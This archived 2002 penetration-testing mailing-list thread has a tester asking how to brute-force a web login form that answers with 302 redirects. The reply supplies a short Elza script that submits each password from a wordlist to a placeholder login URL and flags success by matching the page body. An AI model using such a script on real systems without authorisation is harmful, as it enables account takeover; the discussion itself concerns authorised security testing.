Penetration Testing mailing list archives

RE: Password HTML form bruteforce

From: "Greg" <greg () hoobie net>
Date: Sat, 20 Apr 2002 02:05:16 +0100

I'm afraid Brutus doesn't handle 302's correctly. Dodgy coding if you ask
me.

Why don't you try Elza (http://online.securityfocus.com/tools/1127) with
this script which is based on one found in the Elza docs. Obviously change
the target url and username. This script will read each string from
words.txt and submit each attempt checking for the

        var autoredir = on
        subst ACCOUNT = admin

        proc POSITIVEAUTH
           print Positive Authentication with Login: ACCOUNT, Password: CURRPASS
        endproc POSITIVEAUTH

        proc ATTEMPTAUTH
           field userid = USERSTRING
           field password = PASSSTRING
           # Add any other form fields that need to be sent here
           post url http://TargetAddress/Login.cfm
           call POSITIVEAUTH if body = Some warm glowing message about how you're
logged in now.
        endproc ATTEMPTAUTH

        call ATTEMPTAUTH PASSSTRING % words.txt

In the above script, if you set 'autoredir' to off you will not be
automatically redirected by the 302 and the '%location%' variable will be
made available to you for examination. It might be easier to just let Elza
handle the redirection and then match some known test in the body of the
successful authentication page as shown above.

Read the docs for Elza, you'll need to build a list of scripts up before it
become really useful.

cheers

Greg

-----Original Message-----
From: joh ket [mailto:johket () hotmail com]
Sent: 18 April 2002 10:16
To: pen-test () securityfocus com
Subject: Password HTML form bruteforce

Hi there,

I am currently involved in a pen test on a website
which is using formbased authentication.

I figured out that a account, named 'test' exists...
(...)

Now I want to brute force this account, I am using
Brutus AET2 for this.

But I do not know how to use the HTML response.

Below the packet capture of a response of a login
which was succesfull:

HTTP/1.1.302.Object.Moved..Location:.start.cfm?cid=
(lines deleted)
<head><title>Document.Moved</title></head><body

<h1>Object.Moved</h1>

This.document.may.be.found.<a.HREF="start.cfm?
cid=
(lines deleted)

A capture of an unsuccessfull capture looks like this:

HTTP/1.1.302.Object.Moved..Location:.original.cfm?
login=Invalid password. Please try again
(lines deleted)
Document.Moved</title></head>.<body><h1>Object.
Moved</h1>This.document.may.be.found.<a.HREF="
original.cfm?login=Invalid password. Please try
again">here</a>

So depending on the password I get redirected to a
page...

How should the primary and the secondary repsonse
be configured?

Or does somebody else have a better idea how to do
this?

Thanks in advance!

Joh Ket


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Current thread:

Password HTML form bruteforce joh ket (Apr 18)
- Re: Password HTML form bruteforce Vladimir Parkhaev (Apr 19)
- RE: Password HTML form bruteforce Greg (Apr 22)
  - RE: Password HTML form bruteforce Greg (Apr 22)